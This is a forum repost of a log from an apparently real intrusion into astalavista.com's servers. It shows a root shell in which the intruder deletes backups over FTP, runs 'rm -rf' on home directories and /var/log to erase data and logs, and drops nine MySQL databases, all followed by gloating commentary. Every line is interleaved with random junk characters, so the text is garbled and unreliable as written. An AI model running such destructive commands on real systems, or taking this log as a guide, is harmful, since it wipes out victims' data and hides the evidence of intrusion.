7 H( D& F: h5 d& zftp> cd astalavista.com$ s: p; Q4 C0 w5 |8 A
250 CWD command successful.
, V0 {, s& z( d6 g- a) Q' ?$ lftp> ls -la8 x1 j0 F# Q, N, N0 M$ T
227 Entering Passive Mode (212,254,194,163,2,189)
2 @4 |/ [* K% O2 R# x& {, Z# c150 Opening BINARY mode data connection for ‘file list’.
6 F: ~& _* o/ y: W2 }; G-rw-rw-rw- 1 astalavista.com users 23410936878 Apr 29 22:10 09-04-28-astacom_full.tar
8 \( U. V4 D s( U/ R, ]6 E-rw-rw-rw- 1 astalavista.com users 20617651590 Apr 29 14:18 09-04-28-astacom_full.tar.bz23 ^0 J; X: H- b* o
-rw-rw-rw- 1 astalavista.com users 88287111 Apr 29 15:57 09-04-29-astacom_sql_full.sql.tar.bz2
! V; `# G2 N3 t2 t% e-rw-rw-rw- 1 astalavista.com users 26413034040 May 2 00:21 09-05-01-astacom-Public_HTML.tar4 I, Z. {2 ]* y! [( r6 z$ v
-rw-rw-rw- 1 astalavista.com users 277843549 May 1 17:29 09-05-01-astacom-SQL_Dump.tar+ w4 A' R& i: G: H: r' c
[snip]& g6 I( x' o) T
226 Transfer complete.8 v% B# j' J* \0 u2 C6 o, f6 T
ftp> mdelete *2 i" X( J$ O0 O2 p7 [, P
ftp> ls -la) F; [9 C- H7 h5 Z, B
227 Entering Passive Mode (212,254,194,163,2,193)
" { g9 k3 M8 d; @1 V150 Opening BINARY mode data connection for ‘file list’.# C; t# _9 B3 c# Y& D
226 Transfer complete.$ b1 U/ ~4 a$ q6 J0 ~
ftp>; H! j( B) X3 c
5 K* a- \; i9 H8 M tsh-3.2# cd /home( I3 X5 T6 T. k4 E& k8 @2 c" n) j
sh-3.2# ls -la
0 k' }4 u# L8 D6 P, Ptotal 1205 w. b; F) H5 Y/ N9 |2 [
drwxr-xr-x 14 root root 4096 Mar 11 17:56 .
% q1 [6 U* x! a. m, bdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..
6 _0 U8 `! I3 D7 ^% ldrwx–x–x 9 admin admin 4096 Nov 28 2007 admin
. k6 ~& w- p& T4 U/ B+ S. @$ q t-rw——- 1 root root 8192 Jun 4 03:03 aquota.group
: k6 ]6 }% S$ T; s6 \$ }-rw——- 1 root root 8192 Jun 3 02:45 aquota.user
. [+ v! w: V* \# |8 Edrwx–x–x 6 astanet astanet 4096 Jun 4 09:51 astanet
5 w7 M5 P ^. o7 j: |* R5 fdrwxr-xr-x 2 root root 4096 Jul 29 2008 backup
, e! S* @' k9 Kdrwxr-xr-x 2 root root 4096 Sep 17 2008 backup.14161
6 d8 C6 y8 T) S+ q) y4 n$ ddrwx–x–x 10 com com 4096 Apr 28 12:40 com9 c1 ^" x; S9 h6 i& [% I& F& i
drwxr-xr-x 2 root root 4096 May 17 2007 ftp- [+ \. c% S) D* \& H
drwx—— 3 jon jon 4096 Sep 21 2007 jon" [( H* g) U4 j! M1 u- X7 ?
drwx—— 2 root root 16384 Sep 11 2007 lost+found4 }; _, P( S- A0 C! A# K
drwxr-xr-x 2 root root 4096 Sep 14 2007 my
5 ]6 p# A. V& C Hdrwxr-xr-x 5 mysql mysql 4096 Sep 24 2007 mysqldata$ M* p7 J4 I4 c- u7 A, Y9 z' |- z @
drwx—— 2 jon jon 4096 Sep 15 2007 test8 o0 d, W& \. l" {* { Q8 C
drwxrwxrwt 2 root root 4096 Jul 29 2008 tmp; ]) ?: k) C9 r$ M8 P& J7 D3 q& `7 K
" A* c. a$ R9 n4 D9 n8 Ush-3.2# rm -rf backup/
1 N* y3 u4 g0 j' |( a" y' msh-3.2# rm -rf backup.14161/
0 G- r% V* W0 u2 psh-3.2# rm -rf ftp/
! s5 }" W# m& }0 Y M# ssh-3.2# rm -rf jon/
3 a7 K; R' f- Q) b- \0 A( Lsh-3.2# rm -rf my/8 b1 t/ H* k+ Z
sh-3.2# rm -rf mysqldata/7 i. W5 q" u3 f' a" P
sh-3.2# rm -rf test/7 F2 i( ~, H7 ~3 M+ _) \2 w
sh-3.2# rm -rf tmp/
7 P! g. r% P( W; V Q1 u7 u) l; |# psh-3.2# cd ~
* [8 o& ?0 ^# N5 @" Wsh-3.2# rm -rf *9 C+ h6 E9 \" B3 G8 y) z
sh-3.2# rm -rf /var/log/
; Q6 V9 w+ i2 ~rm: cannot remove directory `/var/log//proftpd’: Directory not empty3 |) X% u: h) G
sh-3.2# rm -rf /home/*
6 N, r- m' O$ E; N& d/ psh-3.2# mysql
/ O% g9 A6 z- dWelcome to the MySQL monitor. Commands end with ; or \g.
6 S$ j1 U' B1 g8 Z9 e: ^, _Your MySQL connection id is 407156* L. c ^, l* h: _
Server version: 5.0.45-community-log MySQL Community Edition (GPL): i. r, c# B5 B7 w. Q" m+ M1 F8 D" Y
: l! f* n: i6 H# o+ }4 a" u7 r
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.' n! _+ |. ?/ d/ C0 I
8 V3 G1 \/ @/ J. cmysql> show databases;
/ ^( W. ?' L& K* x& O+———————–+
5 e/ [ |& T9 R! C* ~| Database |$ V1 U+ O" [2 O. e, X+ ?+ t- g/ J" U
+———————–+# y6 w2 o2 p$ D
| information_schema |
2 P5 W1 u$ {! H( k7 d| astanet_ads |! s( x7 H: ^; |, v' u3 Y4 y
| astanet_mailing_lists |3 y5 G6 f+ Y/ x' Y1 x
| astanet_mediawiki |
# A4 x! Q- b0 ^# x| astanet_membersystem |
9 p6 ]- E! U9 _& \0 E| com_contrexx |( f) Y" [' w2 t
| com_contrexx2 |" c0 |# J+ n. U% S
| com_contrexx2_live |
# k: W8 g6 n' T! x7 v| da_roundcube |
. [1 y$ k" |: \! w4 f0 ~| dolphin |; s0 N) I8 q3 j: B
| ideapool |
" A, ~- l/ i2 ~; L+ R# S| mysql |
; A3 p) W) i/ l# w| test |$ T6 F/ d: B7 l" N8 G
| yourmaster |% e% W$ M" V8 T1 w0 e! E: _4 F' N$ _
+———————–+
) Y$ n$ t9 _- |( U14 rows in set (0.03 sec)) L+ G* {2 Q5 F* M8 e% y
, n9 ?9 m2 z: t
mysql> drop database astanet_membersystem;1 x4 _' _# f2 n" v! f! Z! O4 p0 c- S
droQuery OK, 46 rows affected (0.81 sec)
& b, _: Z$ u w2 ~( M% B; J7 K6 {3 D9 x* u
mysql> drop database com_contrexx;8 B$ J5 n+ p! w* n* e
Query OK, 211 rows affected (2.72 sec)
0 m& ]0 X( ~7 k5 z1 M$ X; W+ e) ~% g% D) e( e$ b x* L5 e8 V
mysql> drop database com_contrexx2;% ^- \% y5 ^* v" _$ B D2 C: N% I0 u
Query OK, 237 rows affected (2.23 sec)9 }6 M: x1 V) x
% G. g$ N1 M$ t! dmysql> drop database com_contrexx2_live;
7 R* ]1 c: |4 }0 ^+ W( n/ zQuery OK, 227 rows affected (7.63 sec)
6 l% ?3 e' z" o3 c& v
3 G3 }7 }2 v8 ~0 G2 Cmysql> drop database ideapool;4 Q$ y6 v, K' o. j
Query OK, 69 rows affected (0.19 sec)
/ g+ v" L3 S$ b5 ~' F; P8 e0 P# d0 H: y# y- L' @$ T0 C* {+ B
mysql> drop database yourmaster; Z' @7 X" [, c3 y: [1 f3 x8 G
Query OK, 158 rows affected (0.55 sec)3 Y: w- t( c; J9 R
% c4 X2 t" ?4 A6 h+ s0 a; cmysql> drop database astanet_ads;
* I" n o# B- g- X- Y. i1 PQuery OK, 9 rows affected (0.11 sec)4 B9 r. f) l# G7 C
9 ^) x3 y3 {4 n% f5 L6 V8 gmysql> drop database astanet_mailing_lists;% _6 e j; @& _: k% _+ U5 Q: L
Query OK, 24 rows affected (1.47 sec)9 m W0 n' J: o6 T9 u
$ @1 O$ x/ L2 ]+ \/ O/ E; a0 W' u6 B
mysql> drop database astanet_mediawiki;4 ?$ _- {. {& J1 H: ?$ [. n
Query OK, 31 rows affected (0.51 sec)
" a/ T7 @6 |3 R( ^
8 b, \2 L! |6 Wmysql> show databases;2 C- l6 E* j% u' Q; c
+——————–+, g; ?6 H# X3 }
| Database |, p$ Z1 k0 Q- m/ S4 Z6 ~! [5 q% G
+——————–+ M0 z9 B) Z+ ~) a) X
| information_schema |
+ O9 T" Q/ Q% N' z! m8 p| da_roundcube |
8 X% G5 M% j) p' g" Y: T| dolphin |
: ~9 R% d4 j, \; u# I9 R) f| mysql |
' N5 L0 M, Q3 w| test |
* Y0 w! l7 _, w; L8 E7 f( |9 }+——————–+ Z/ W, X, o; [4 K
5 rows in set (0.00 sec)
0 v. {$ L3 g) J1 t# g0 c; D# D
) N' E8 L# u3 j/ gWhat a journey! We’re not sure exactly why the “Terminator” had any influence on
2 O& e8 p* `7 z$ e6 Ntheir naming (conventions) but we’re sure Arnold himself wouldn’t be in the1 e* B3 l4 F. E
wrong to say this pack of morons *wont be back*.
8 N0 x0 r- O; N7 w# F |
发表于 2012-11-6 21:07:34
收藏
支持
反对